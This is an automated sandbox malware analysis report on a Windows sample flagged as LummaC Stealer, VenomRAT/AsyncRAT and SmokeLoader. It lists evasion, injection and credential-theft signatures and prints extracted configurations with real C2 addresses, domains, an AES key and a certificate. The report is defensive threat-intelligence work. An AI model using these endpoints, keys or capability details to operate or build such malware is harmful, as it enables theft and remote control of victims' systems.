Windows Analysis Report
7Y18r(14).exe

Overview

General Information

Sample name: 7Y18r(14).exe
Analysis ID: 1480462
MD5: 779806a66cccb6b37a02f6b30f7aecf3
SHA1: 0a16526e664ebcfadb6b958580aa12b3deff8645
SHA256: f42503b4678644e3475344042dafa742e5f3d2d75a7c16409f10d7bcca17e028
Tags: exe
Infos:

Detection

LummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Check for Windows Defender sandbox
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
System process connects to network (likely due to code injection or exploit)
Yara detected AsyncRAT
Yara detected Bdaejec
Yara detected Go Injector
Yara detected LummaC Stealer
Yara detected SmokeLoader
Yara detected VenomRAT
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Allocates memory in foreign processes
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Changes memory attributes in foreign processes to executable or writable
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates a thread in another existing process (thread injection)
Creates autostart registry keys with suspicious names
Deletes itself after installation
Drops VBS files to the startup folder
Found many strings related to Crypto-Wallets (likely being stolen)
Found suspicious ZIP file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Infects executable files (exe, dll, sys, html)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
PE file contains section with special chars
PE file has a writeable .text section
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Reads the Security eventlog
Reads the System eventlog
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to several IPs in different countries
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to detect virtual machines (SLDT)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Entry point lies outside standard sections
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
AsyncRAT AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat
Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 7Y18r(14).exe Avira: detected
Antivirus detection for URL or domain
Source: http://ddos.dnsnb8.net:799/cj//k1.rar URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar Avira URL Cloud: Label: phishing
Source: http://gebeus.ru/tmp/index.php Avira URL Cloud: Label: malware
Source: http://cx5519.com/tmp/index.php Avira URL Cloud: Label: malware
Source: http://evilos.cc/tmp/index.php Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k5.rar Avira URL Cloud: Label: phishing
Source: https://mussangroup.com/wp-content/images/pic1.jpg Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar6 Avira URL Cloud: Label: phishing
Source: https://callosallsaospz.shop/api Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rarB Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rarO Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar Avira URL Cloud: Label: phishing
Antivirus detection for dropped file
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files\7-Zip\Uninstall.exe Avira: detection malicious, Label: W32/Jadtre.B
Found malware configuration
Source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Malware Configuration Extractor: VenomRAT {"Server": "94.156.79.190,193.222.96.24", "Ports": "4449", "Version": "Venom RAT + HVNC + Stealer + Grabber v6.0.2", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "KSXE50q1aBZS6zviv09LVn6h1agzpC0c", "Mutex": "aqswvfsywrpgi", "Certificate": "MIICLzCCAZigAwIBAgIVAMlWIVjWC1nh9ktodokpLXg1Z7jDMA0GCSqGSIb3DQEBDQUAMGAxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjEOMAwGA1UECwwFVmVub20xGjAYBgNVBAoMEVZlbm9tUkFUIEJ5IFZlbm9tMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjIwNDIzMDE0ODMzWhcNMzMwMTMwMDE0ODMzWjATMREwDwYDVQQDDAhWZW5vbVJBVDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApVFyhBoFr/9yziPYmAfupGi+6Dr9HlSEu4y7EX9UWIylw9CS4Voa/+1ncAOzogfrktnFzQ8mi0CRy5KZ/h/xY3W/RZXSOuTiBxwuYJ21ZyP0F3NE0Dk0iKJbBQvE/zmGVU3o0nSQEJ5eKQF9cj8SCsEac4tcpOeJWGRR4EOaNH8CAwEAAaMyMDAwHQYDVR0OBBYEFAXo7kHUsbMm0Un9lzKiyH3ZKuRhMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAToihy3/hoIiQqRgL8LQs+1ZyJfdHwOCmbsgIXHWfuygpkNuCVgWyx00+6WG1rrFOf0JZMar0D7txlc/bnAasiYPUL5EXEL/uikR3e8zzcQOhRAszKHobjW3VxGBYxClWdkhDZNxoiXTPs53aoby1ddub4dbDXQzIo//fNN30FNc=", "ServerSignature": "WlDXsoQjOeItY/AjpYunYYPwdj7pVZk3AxP9TSMhaMXlTxtOfd/QUD9Td9tdZ/gqN8Mrd7dFRlgi6WvGULUn8oYyaqUlD8bhcaHBCb7iJvzMqGTkJovPSDs+PdIfDJwTAVY/j6J2UDT7B9Hux+AFROKdJXYBG233NvPZNBdQ8Yc=", "BDOS": "null"}
Source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Malware Configuration Extractor: AsyncRAT {"Server": "94.156.79.190,193.222.96.24", "Ports": "4449", "Version": "Venom RAT + HVNC + Stealer + Grabber v6.0.2", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "KSXE50q1aBZS6zviv09LVn6h1agzpC0c", "Mutex": "aqswvfsywrpgi", "Certificate": "MIICLzCCAZigAwIBAgIVAMlWIVjWC1nh9ktodokpLXg1Z7jDMA0GCSqGSIb3DQEBDQUAMGAxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjEOMAwGA1UECwwFVmVub20xGjAYBgNVBAoMEVZlbm9tUkFUIEJ5IFZlbm9tMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjIwNDIzMDE0ODMzWhcNMzMwMTMwMDE0ODMzWjATMREwDwYDVQQDDAhWZW5vbVJBVDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEApVFyhBoFr/9yziPYmAfupGi+6Dr9HlSEu4y7EX9UWIylw9CS4Voa/+1ncAOzogfrktnFzQ8mi0CRy5KZ/h/xY3W/RZXSOuTiBxwuYJ21ZyP0F3NE0Dk0iKJbBQvE/zmGVU3o0nSQEJ5eKQF9cj8SCsEac4tcpOeJWGRR4EOaNH8CAwEAAaMyMDAwHQYDVR0OBBYEFAXo7kHUsbMm0Un9lzKiyH3ZKuRhMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAToihy3/hoIiQqRgL8LQs+1ZyJfdHwOCmbsgIXHWfuygpkNuCVgWyx00+6WG1rrFOf0JZMar0D7txlc/bnAasiYPUL5EXEL/uikR3e8zzcQOhRAszKHobjW3VxGBYxClWdkhDZNxoiXTPs53aoby1ddub4dbDXQzIo//fNN30FNc=", "ServerSignature": "WlDXsoQjOeItY/AjpYunYYPwdj7pVZk3AxP9TSMhaMXlTxtOfd/QUD9Td9tdZ/gqN8Mrd7dFRlgi6WvGULUn8oYyaqUlD8bhcaHBCb7iJvzMqGTkJovPSDs+PdIfDJwTAVY/j6J2UDT7B9Hux+AFROKdJXYBG233NvPZNBdQ8Yc=", "BDOS": "null", "External_config_on_Pastebin": "false"}
Source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://evilos.cc/tmp/index.php", "http://gebeus.ru/tmp/index.php", "http://office-techs.biz/tmp/index.php", "http://cx5519.com/tmp/index.php"]}
Source: BitLockerToGo.exe.4216.31.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["indexterityszcoxp.shop", "lariatedzugspd.shop", "callosallsaospz.shop", "outpointsozp.shop", "liernessfornicsa.shop", "upknittsoappz.shop", "shepherdlyopzc.shop", "unseaffarignsk.shop"], "Build id": "bOKHNM--"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\B552.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\ftejced ReversingLabs: Detection: 94%
Multi AV Scanner detection for submitted file
Source: 7Y18r(14).exe ReversingLabs: Detection: 94%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 7Y18r(14).exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: indexterityszcoxp.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: lariatedzugspd.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: callosallsaospz.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: outpointsozp.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: liernessfornicsa.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: upknittsoappz.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: shepherdlyopzc.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: unseaffarignsk.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: liernessfornicsa.shop
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: Workgroup: -
Source: 00000026.00000002.2909146910.0000000003FDE000.00000002.10000000.00040000.00000000.sdmp String decryptor: qToYrJ--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC7A10 CryptUnprotectData, 31_2_02EC7A10
Source: F6D9.exe, 00000018.00000003.2189735837.000002598C8F1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_46ba3798-7
Uses 32bit PE files
Source: 7Y18r(14).exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\7Y18r(14).exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 185.149.100.242:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.0.235.84:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.10:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.10:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49766 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49769 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49774 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49781 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49782 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.10:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49828 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49838 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49839 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49842 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49845 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49848 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49850 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49851 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.10:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.10:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.10:49854 version: TLS 1.2
Source: Binary string: rust_dave_sideload.pdb source: vm.exe, 00000025.00000002.3761757300.0000000070078000.00000002.00000001.01000000.00000018.sdmp, lm.exe, 00000026.00000002.2910739213.0000000070008000.00000002.00000001.01000000.00000019.sdmp, vm.exe, 0000002B.00000002.2941431494.0000000070078000.00000002.00000001.01000000.00000018.sdmp, g2m.dll.32.dr, g2m.dll0.32.dr
Source: Binary string: BitLockerToGo.pdb source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323520937.0000023B60790000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C000800000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C0008EC000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323973343.0000023B60750000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb& source: powershell.exe, 00000020.00000002.2624078104.0000020A687F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A687AD000.00000004.00000800.00020000.00000000.sdmp, lm.exe.32.dr
Source: Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.5.dr
Source: Binary string: BitLockerToGo.pdbGCTL source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323520937.0000023B60790000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C000800000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C0008EC000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323973343.0000023B60750000.00000004.00001000.00020000.00000000.sdmp
